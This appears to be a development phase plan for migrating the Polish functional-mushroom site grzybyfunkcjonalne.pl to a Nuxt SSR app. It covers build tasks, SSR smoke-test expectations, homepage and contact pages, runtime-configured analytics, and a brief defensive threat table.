From vue-journal-layer v0.1.0 (16-01): configKey journal with routes { index, post, category, tag, author } (path or false), perPage { index, category, tag, author }, sort, relatedCount, rss; route names journal-index, journal-post, journal-category, journal-tag, journal-author; runtime keys journal.apiBase (NUXT_JOURNAL_API_BASE) and public.journal.apiBase; composables useJournalApi() (listPosts, getPost, listCategories, findCategory, listTags, getAuthor, listAuthorPosts) and useJournalLinks() (postLink, categoryLink, tagLink, authorLink, indexLink); utils gateJournalHtml, isSafeJournalHtml; overridable components Journal/{PostBody, PostCard, PostList, PostMeta, FeaturedImage, Pagination, RelatedPosts, IndexHeader, CategoryHeader, AuthorCard, RssLink}; tokens --journal-color-*, --journal-font-*, --journal-space-*, --journal-radius-*; testing tools node_modules/vue-journal-layer/testing/{fixture-api.mjs, nuxt-server.mjs, smoke-ssr.mjs} (expect grammar: STATUS PATH [contains=TEXT] [notcontains=TEXT] [type=PREFIX]; smoke-ssr flag --env KEY=VALUE).
|
||||
Live content facts (RESEARCH Content Inventory): hero title "Grzyby Funkcjonalne", text "Serwis informacyjny poświęcony grzybom funkcjonalnym", CTA "Czytam"; about "Czym są grzyby funkcjonalne?" with button "Poznaj naszą misję"; CTA "Skorzystaj z wiedzy ekspertów"; services "Dlaczego warto?" with 4 boxes; FAQ intro plus 16 Q&A; footer address "Wróblewskiego, 1A/1U, Namysłów", phone 666-681-225, email kontakt@grzybyfunkcjonalne.pl, links Artykuły blogowe, Golem15, Ciemność.com, Dobra bomba, social x.com/ophiel118; blog header "Artykuły" / "Przeczytaj nasze artykuły na temat grzybów funkcjonalnych"; colour seeds #0D705D, #27AE60, #138C74, #1AAC8F, #444444; fonts Open Sans, Jost, Poppins.
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: the phase has no REQUIREMENTS.md IDs to probe, so no probe predicates are generated this run. ROADMAP SC-1..SC-4 and CONTEXT D-01..D-25 are the source of truth for must_haves.
|
||||
|
||||
## Artifacts this phase produces
|
||||
|
||||
- Repo `git.golem15.com/golem15/vue-grzybyfunkcjonalne-app`, mounted as submodule `vue-grzybyfunkcjonalne-app` in `sm-grzybyfunkcjonalne-app` (`.gitmodules` entry, gitlink).
|
||||
- `nuxt.config.ts` keys: `extends: ['vue-journal-layer']`; `journal.routes` = `{ index: '/blog', post: '/blog/:slug', category: '/:category', author: '/autor/:author', tag: false }`; `journal.perPage` = `{ index: 12, category: 10, author: 10 }`; `journal.sort` = `published_at desc`; `i18n` pl only (`prefix_except_default`, `defaultLocale: 'pl'`); `site` (`url https://grzybyfunkcjonalne.pl`, `name Grzyby Funkcjonalne`); `routeRules` swr; `runtimeConfig.public.gaId` (env `NUXT_PUBLIC_GA_ID`); `robots.disallow`; `sitemap.exclude`; `linkChecker.excludeLinks`.
|
||||
- Pages `/` (`index.vue`), `/kontakt` (`kontakt.vue`), `/trwaja-prace` (`trwaja-prace.vue`), `app/error.vue`, layout `default.vue`.
|
||||
- Components `SiteHeader`, `SiteFooter`, `HeroSection`, `LatestPosts`, `AboutSection`, `CtaSection`, `ServicesSection`, `FaqSection`, `PageHero`, override `Journal/IndexHeader`.
|
||||
- Typed data `app/data/menu.ts` (`MenuItem`, `MAIN_MENU`), `app/data/contact.ts` (`CONTACT`), `app/data/faq.pl.json` (`{ slug, intro, items: [{ question, answer_html }] }`).
|
||||
- Util `app/utils/analytics.ts` (`GA_ID_PATTERN`, `gaHeadScripts`).
|
||||
- i18n `i18n/locales/pl.json` (site copy plus overrides of `journal.*` strings).
|
||||
- Fixtures `tests/fixtures/api/*` and expectations `tests/fixtures/expect.txt`, `tests/fixtures/expect-ga.txt`; package scripts `build`, `dev`, `preview`, `smoke:ssr`, `smoke:ga`.
|
||||
|
||||
<!-- planner-discipline-allow: <form -->
|
||||
The `<form` literal appears in Task 3 only as the text of an SSR smoke expectation (a notcontains check written into tests/fixtures/expect.txt); the negative grep in Task 3 scans `app/` only, so the fixture line never trips it.
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer — the site app extends layer v0.1.0 and answers the PHP post and category URLs as SSR HTML, mounted in the host</name>
|
||||
<reversibility rating="one-way">D-15: the URL shapes are search-indexed; changing them after the cutover needs a 301 map. Already decided by the user in CONTEXT — recorded here, not re-asked.</reversibility>
|
||||
<files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-workspace.yaml, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/.nvmrc, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/.gitignore, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tsconfig.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/layouts/default.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/categories.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/tags.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/authors.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/rss.xml, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, ../sm-grzybyfunkcjonalne-app/.gitmodules, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app</files>
|
||||
<read_first>.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-04, D-07, D-08, D-15, D-16, D-24), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (URL Inventory, routing rules, Pattern 1 app excerpt, Pattern 4, Pitfall 4, A2, A8), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md (Prerequisite contract, any layer deviations), ../vue-journal-layer/README.md, ../vue-journal-layer/testing/smoke-ssr.mjs, ../sm-summercmsio-app/vue-summercmsio-app/package.json, ../sm-summercmsio-app/vue-summercmsio-app/nuxt.config.ts, ../sm-summercmsio-app/vue-summercmsio-app/app/assets/css/tokens.css, ../sm-summercmsio-app/.gitmodules, .planning/notes/core-plugins-own-repos.md, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/badania-nad-cordycepsem.json</read_first>
|
||||
<action>Create the app as a nested repo at ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app (git init -b main, remote origin git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git). Copy .nvmrc, tsconfig.json, pnpm-workspace.yaml (allowBuilds esbuild, @parcel/watcher, vue-demi) and .gitignore (node_modules/, .nuxt/, .output/, .data/, dist, .env) from ../sm-summercmsio-app/vue-summercmsio-app.
|
||||
|
||||
package.json: name vue-grzybyfunkcjonalne-app, private, type module, engines node >=22.18; scripts build (nuxt build), dev (nuxt dev), preview (nuxt preview), prepare (nuxt prepare), smoke:ssr (node node_modules/vue-journal-layer/testing/smoke-ssr.mjs --output .output --fixtures tests/fixtures/api --expect tests/fixtures/expect.txt); no generate script (D-07 SSR). dependencies exactly nuxt 4.4.8, vue 3.5.35, vue-journal-layer git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0 (D-04); devDependencies typescript 5.9.3. Do not list @nuxtjs/i18n, @nuxtjs/seo or @nuxt/fonts (the layer declares them; Pitfall 4). pnpm install writes pnpm-lock.yaml with the tag commit. A link:../../vue-journal-layer override for local layer work is documented in the README and never committed (D-04).
|
||||
|
||||
nuxt.config.ts (short comment above each block, summercms.io style): compatibilityDate 2025-07-15, devtools off, extends ['vue-journal-layer'], no modules key. journal: routes { index '/blog', post '/blog/:slug', category '/:category', author '/autor/:author', tag false } (D-15; the PHP site has no tag pages), perPage { index 12, category 10, author 10 } (PHP blog.htm 12, index.htm 10, autor.htm 10), sort 'published_at desc'. i18n: strategy prefix_except_default, defaultLocale pl, locales [{ code pl, language pl-PL, file pl.json, name Polski }], langDir locales/, baseUrl https://grzybyfunkcjonalne.pl (D-16: pl only, no prefix). site: url https://grzybyfunkcjonalne.pl, name Grzyby Funkcjonalne, description Serwis informacyjny poświęcony grzybom funkcjonalnym, defaultLocale pl. routeRules: '/**' swr 300 and '/blog/**' swr 120 (D-07: Nitro swr on node-server, never isr). runtimeConfig: journal.apiBase http://127.0.0.1:8096/_journal/api/v1 and public.gaId '' (D-23, env NUXT_PUBLIC_GA_ID). css: ~/assets/css/tokens.css (the app may use ~ for its own files). fonts: Jost (400, 500, 600, 700) for headings and Open Sans (400, 600, 700) for body, normal style, latin and latin-ext subsets, global.
|
||||
|
||||
tokens.css: one :root:root block (higher specificity than the layer's :root, RESEARCH Pattern 4 and A8) overriding --journal-color-* with the refreshed palette seeded from #0D705D (primary), #27AE60 (accent), #138C74 (link), #1AAC8F (link hover), #444444 (text) and white background, --journal-font-heading Jost and --journal-font-body Open Sans, plus site tokens --site-* (header height, hero overlay), each with a trailing comment naming its use. app.vue renders NuxtLayout and NuxtPage; layouts/default.vue wraps the slot in a header slot area, main and footer slot area (filled in Task 2).
|
||||
|
||||
i18n/locales/pl.json: overrides for the layer strings the site wants in its own words (journal.index.title Artykuły, journal.pagination.pageTitle Strona {page}) plus site keys used in this task.
|
||||
|
||||
Fixtures (tests/fixtures/api, the layer fixture-api format): 14 published posts copied from /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export (pl translation title, slug, excerpt and content_html, published_at converted to the Go wire format, categories as { id, name, slug }), including blogbadania-nad-cordycepsem; categories tree with cordyceps, reishi, chaga, shiitake, lions-mane, turkey-tail and amanita-muscaria (post_count 0) and a content HTML string on cordyceps containing the marker text Cordyceps w pigułce; tags []; one author with slug admin per the 16-01 Prerequisite contract; rss.xml with one item. tests/fixtures/expect.txt: 200 /blog/blogbadania-nad-cordycepsem contains=Najnowsze Badania nad Cordycepsem; 404 /blog/badania-nad-cordycepsem; 200 /cordyceps contains=Cordyceps w pigułce; 200 /amanita-muscaria; 404 /nieistnieje; 404 /rss; 404 /feed; 404 /404; 404 /error; 200 /blog; 200 /blog?page=2; 404 /blog?page=3; 404 /en/blog; 200 /autor/admin; 404 /autor/nobody; 200 /rss.xml type=application/rss+xml; 200 /sitemap.xml contains=/blog/blogbadania-nad-cordycepsem; 200 /sitemap.xml contains=/amanita-muscaria.
|
||||
|
||||
Commit in the app (feat: SSR site on vue-journal-layer with the PHP URL map) and push main. Then mount it: in ../sm-grzybyfunkcjonalne-app run git submodule add git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git vue-grzybyfunkcjonalne-app (git adopts the existing nested repo), commit only .gitmodules and the gitlink in the host (chore: mount vue-grzybyfunkcjonalne-app submodule). Never stage files under the submodule from the host repo (.planning/notes/core-plugins-own-repos.md).</action>
|
||||
<verify>
|
||||
<automated>pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app install --frozen-lockfile && pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app build && pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app run smoke:ssr && git -C ../sm-grzybyfunkcjonalne-app ls-files -s vue-grzybyfunkcjonalne-app | grep -q '^160000' && go -C ../sm-grzybyfunkcjonalne-app vet ./... && go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1 -v -run '^(TestBootUserTranslateJournal)$'</automated>
|
||||
<fails_when>Non-zero exit; output contains "smoke-ssr: FAIL", "ERR_PNPM_OUTDATED_LOCKFILE" or "--- FAIL"; the "smoke-ssr: ok" line or the "--- PASS: TestBootUserTranslateJournal" line is absent; the host index has no 160000 gitlink for vue-grzybyfunkcjonalne-app.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- Every line of tests/fixtures/expect.txt passes against the built .output: post by pl slug 200, base slug 404, /cordyceps 200 with its content marker, /amanita-muscaria 200, unknown roots and /404, /error 404, /blog?page=2 200 and ?page=3 404, /en/blog 404, /autor/admin 200, /rss.xml RSS type, sitemap entries for a post and an empty category.
|
||||
- package.json pins vue-journal-layer to #v0.1.0 and pnpm-lock.yaml records the commit of that tag.
|
||||
- `grep -nE '^\s*modules:' ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts` prints nothing.
|
||||
- nuxt.config.ts contains category: '/:category', author: '/autor/:author' and tag: false.
|
||||
- `git -C ../sm-grzybyfunkcjonalne-app ls-files -s vue-grzybyfunkcjonalne-app` starts with 160000 and .gitmodules has url git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git.
|
||||
- Host go vet and TestBootUserTranslateJournal stay green.
|
||||
</acceptance_criteria>
|
||||
<done>The site app answers the PHP post, category, blog, author and error URLs with the right status codes from SSR, installed from the layer tag and mounted in the host.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 2: Homepage, typed menu, FAQ and footer with the current Polish copy in the refreshed design</name>
|
||||
<files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/index.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/layouts/default.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteFooter.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/HeroSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/LatestPosts.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/AboutSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/CtaSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/ServicesSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/FaqSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/contact.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/base.css, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/favicon.ico, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/images/hero-forest.webp, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/images/cta.png, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Content Inventory, Runtime State Inventory: live HTML is the copy authority), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/layouts/default.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/partials/homepage.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/partials/g15_menu, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/partials/g15_faq, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/content/homepage, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/faq, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/menu, ../sm-summercmsio-app/vue-summercmsio-app/app/components/SiteHeader.vue, ../sm-summercmsio-app/vue-summercmsio-app/app/assets/css/base.css</read_first>
|
||||
<action>Copy authority (RESEARCH Runtime State Inventory): fetch https://grzybyfunkcjonalne.pl/ with curl and take every Polish string from the live HTML; fall back to /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/sources/gf_old.sql sitemanager settings and the g15_faq rows only for text the live page does not show. Carry the copy verbatim (D-11); drop the sitemanager enable_* toggles and the arsha demo blocks (clients, portfolio, pricing, team, whyus, newsletter, contact).
|
||||
|
||||
i18n/locales/pl.json gains the keys home.hero.title, home.hero.text, home.hero.cta, home.latest.title, home.latest.more (Czytaj więcej → /blog), home.about.title, home.about.columns (two rich-text strings), home.about.cta, home.cta.title, home.cta.text, home.services.title, home.services.items (4 entries with title and text), footer.* and menu.* keys. Rich text with markup is stored as HTML strings and rendered through the layer's gateJournalHtml before v-html.
|
||||
|
||||
app/data/faq.pl.json: { slug: what-mushrooms-can-give-you, intro, items: [16 × { question, answer_html }] } with the live answers (D-12). app/data/menu.ts: export type MenuItem = { kind: 'link'; labelKey: string; to: string } | { kind: 'journal-categories'; labelKey: string }, export const MAIN_MENU: MenuItem[] = Blog → /blog, then the Grzyby Funkcjonalne dropdown of kind journal-categories (the live g15_menu main: Blog plus a blog_categories dropdown). app/data/contact.ts: export const CONTACT with name, street Wróblewskiego 1A/1U, city Namysłów, phone 666-681-225, email kontakt@grzybyfunkcjonalne.pl, footer links (Artykuły blogowe → /blog, Golem15, Ciemność.com, Dobra bomba with their live URLs) and social x.com/ophiel118.
|
||||
|
||||
Download the hero background (live las.webp), the CTA image (live 65f9f2e96287d085855960.png) and the favicon from the live site into public/images/hero-forest.webp, public/images/cta.png and public/favicon.ico (keep the original bytes).
|
||||
|
||||
Components (tokens only, no Bootstrap, no hard-coded colours outside tokens.css): SiteHeader (logo text Grzyby Funkcjonalne linking /, MAIN_MENU rendered from the typed config; the journal-categories item lists useJournalApi().listCategories() flattened, each through useJournalLinks().categoryLink; keyboard-accessible dropdown and a mobile toggle), SiteFooter (CONTACT details, tel and mailto links, footer links, social, copyright with the current year), HeroSection (full-width image with a darkening overlay token, h1, text, CTA to /blog), LatestPosts (useJournalApi().listPosts({ perPage: 3 }) rendered with the layer JournalPostCard, plus the Czytaj więcej link to the journal-index route), AboutSection, CtaSection, ServicesSection (4 boxes), FaqSection (accessible details/summary list; answers through gateJournalHtml). index.vue composes Hero, LatestPosts, About, Cta, Services, Faq and sets useSeoMeta title Witamy and the site description. layouts/default.vue renders SiteHeader, main and SiteFooter. base.css: global typography from tokens, section spacing, buttons, cards, responsive breakpoints at 768px and 1100px; the refreshed look is cleaner and roomier than the arsha template (D-01, D-03), not a pixel copy.
|
||||
|
||||
Append to expect.txt: 200 / contains=Grzyby Funkcjonalne; 200 / contains=Czym są grzyby funkcjonalne?; 200 / contains=Dlaczego warto?; 200 / contains=<the first FAQ question>; 200 / contains=kontakt@grzybyfunkcjonalne.pl; 200 / contains=href="/cordyceps"; 200 / contains=href="/amanita-muscaria"; 200 / contains=Najnowsze Badania nad Cordycepsem.
|
||||
|
||||
Commit in the app (feat: homepage, menu, FAQ and footer with the current Polish copy) and push main; bump the host gitlink in a separate host commit (chore: point vue-grzybyfunkcjonalne-app at the homepage).</action>
|
||||
<verify>
|
||||
<automated>pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app build && pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app run smoke:ssr</automated>
|
||||
<fails_when>Non-zero exit; output contains "smoke-ssr: FAIL"; the "smoke-ssr: ok" line is absent.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- GET / answers 200 and contains the hero title, the about and services headings, the first FAQ question, the contact email and the latest post title from the fixtures.
|
||||
- The header lists all seven category links, including /amanita-muscaria (include_empty=1 through the layer client).
|
||||
- app/data/faq.pl.json has exactly 16 items, each with non-empty question and answer_html.
|
||||
- app/data/menu.ts exports MenuItem and MAIN_MENU, and MAIN_MENU contains an item with kind journal-categories.
|
||||
- `grep -rnE '#[0-9a-fA-F]{3,6}\b' ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components` prints nothing (colours live in tokens.css).
|
||||
</acceptance_criteria>
|
||||
<done>The homepage, menu, FAQ and footer show the current Polish content in the refreshed design, and the menu lists every Journal category.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: Kontakt, trwaja-prace, error pages, blog header, analytics through runtime config and the app README</name>
|
||||
<files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/kontakt.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/trwaja-prace.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/error.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/PageHero.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/Journal/IndexHeader.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect-ga.txt, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, ../vue-journal-layer/app/components/Journal/IndexHeader.vue, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/kontakt.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/content/content-kontakt.pl.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/trwaja-prace.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/404.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/error.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/blog.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/layouts/default.htm (the GA snippet), ../sm-summercmsio-app/vue-summercmsio-app/README.md, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-14, D-23)</read_first>
|
||||
<action>kontakt.vue (D-14): PageHero with Kontakt and the subtitle Skontaktuj Się z Ekspertami od Grzybów Funkcjonalnych (content-kontakt.pl.htm), then the CONTACT details with a tel link and a mailto:kontakt@grzybyfunkcjonalne.pl link. No HTML form element, no input fields and no request to any endpoint; the contact and newsletter forms stay dropped (backlog 999.1). trwaja-prace.vue: PageHero plus the heading Niebawem (trwaja-prace.htm). Both set useSeoMeta titles.
|
||||
|
||||
error.vue: reads the Nuxt error; 404 renders the PHP 404.htm copy (Nie Znaleziono / Nie znaleziono tej strony) and 500 renders the error.htm copy (Wystąpił Błąd / Spróbuj ponownie za chwilę), each with a link to / and the site layout. /404 and /error have no page of their own: they fall into the /:category route, the category lookup misses and the 404 page renders (live status for both is 404).
|
||||
|
||||
Journal/IndexHeader.vue overrides the layer component: PageHero with the blog image (public/images/cta.png, the live blog header image), title Artykuły (plus Strona N when page > 1, matching the live "Artykuły | Strona 2" title) and the description Przeczytaj nasze artykuły na temat grzybów funkcjonalnych (blog.htm meta). PageHero is a shared component (image, title, subtitle, overlay token).
|
||||
|
||||
analytics.ts (D-23): export const GA_ID_PATTERN = /^G-[A-Z0-9]{4,20}$/ and export function gaHeadScripts(id: string) returning [] when id is empty or fails the pattern, else two head script objects: the async loader src https://www.googletagmanager.com/gtag/js?id=<id> and an inline script that defines window.dataLayer, gtag, gtag('js', new Date()) and gtag('config', '<id>'); the id is the only interpolated value and is pattern-checked first. app.vue calls useHead({ script: gaHeadScripts(useRuntimeConfig().public.gaId) }). The production value G-MLSV7WJ6W4 is set only through NUXT_PUBLIC_GA_ID on the server (16-03 env template); the default and staging builds render no analytics.
|
||||
|
||||
nuxt.config.ts: robots { disallow: ['/gfadmin', '/_journal'] }; sitemap { exclude: ['/trwaja-prace'] } (the live sitemap lists /, /blog, categories and posts, not the Niebawem page); linkChecker { excludeLinks: ['/gfadmin', '/gfadmin/**', '/_journal/**', '/storage/**', '/rss.xml'] }. package.json gains the script smoke:ga (the smoke:ssr command plus --env NUXT_PUBLIC_GA_ID=G-MLSV7WJ6W4 --expect tests/fixtures/expect-ga.txt).
|
||||
|
||||
Append to expect.txt: 200 /kontakt contains=mailto:kontakt@grzybyfunkcjonalne.pl notcontains=<form; 200 /trwaja-prace contains=Niebawem; 404 /404 contains=Nie znaleziono tej strony; 200 /blog contains=Przeczytaj nasze artykuły; 200 /blog?page=2 contains=Strona 2; 200 / notcontains=googletagmanager; 200 /robots.txt contains=Disallow: /gfadmin; 200 /sitemap.xml notcontains=/trwaja-prace. expect-ga.txt: 200 / contains=googletagmanager.com/gtag/js?id=G-MLSV7WJ6W4.
|
||||
|
||||
README.md (an application README may name the site): what the app is, requirements (Node 22.18+, pnpm 11), commands (pnpm install --frozen-lockfile, dev, build, preview, smoke:ssr, smoke:ga), the D-15 URL map table (PHP page → Nuxt route), configuration (journal.routes, runtime env NUXT_JOURNAL_API_BASE, NUXT_PUBLIC_GA_ID, NUXT_SITE_URL, NUXT_SITE_INDEXABLE, NITRO_HOST, NITRO_PORT), content locations (pl.json, app/data/*), the layer dependency and how to bump its tag, local layer work with an uncommitted link: override.
|
||||
|
||||
Commit in the app (feat: kontakt, error pages, blog header and runtime GA), push main, and bump the host gitlink in a separate host commit (chore: point vue-grzybyfunkcjonalne-app at kontakt and analytics).</action>
|
||||
<verify>
|
||||
<automated>pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app build && pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app run smoke:ssr && pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app run smoke:ga</automated>
|
||||
<fails_when>Non-zero exit; output contains "smoke-ssr: FAIL"; fewer than two "smoke-ssr: ok" lines are printed.</fails_when>
|
||||
<automated>! grep -rn '<form' ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app</automated>
|
||||
<fails_when>Exit status 1 with a matching line printed: the app contains a form element (D-14 dropped forms).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- /kontakt answers 200 with the mailto link and no form; /trwaja-prace answers 200 with Niebawem; /404 answers 404 with the PHP 404 copy.
|
||||
- /blog shows the Artykuły header and description; /blog?page=2 shows Strona 2.
|
||||
- Without NUXT_PUBLIC_GA_ID the homepage has no googletagmanager script; with NUXT_PUBLIC_GA_ID=G-MLSV7WJ6W4 it loads gtag/js?id=G-MLSV7WJ6W4.
|
||||
- gaHeadScripts returns [] for '' and for a value that fails GA_ID_PATTERN.
|
||||
- /robots.txt disallows /gfadmin; /sitemap.xml does not list /trwaja-prace.
|
||||
- The host gitlink for vue-grzybyfunkcjonalne-app points at the app's pushed main commit.
|
||||
</acceptance_criteria>
|
||||
<done>Every non-Journal PHP page has its Nuxt successor, errors render the PHP copy, and analytics is controlled by runtime config only.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Repo-committed site copy → v-html | FAQ answers and rich homepage copy are HTML strings rendered in the DOM |
|
||||
| Server env → head scripts | NUXT_PUBLIC_GA_ID is interpolated into an inline script |
|
||||
| Visitor → kontakt page | A contact page could invite input if a form were added |
|
||||
| pnpm git dependency | The app pulls the layer from git.golem15.com |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16-06 | Tampering | FaqSection, AboutSection rich text (v-html) | low | mitigate | Copy is committed in the repo and reviewed; every v-html still goes through the layer's gateJournalHtml (same three Go patterns) |
|
||||
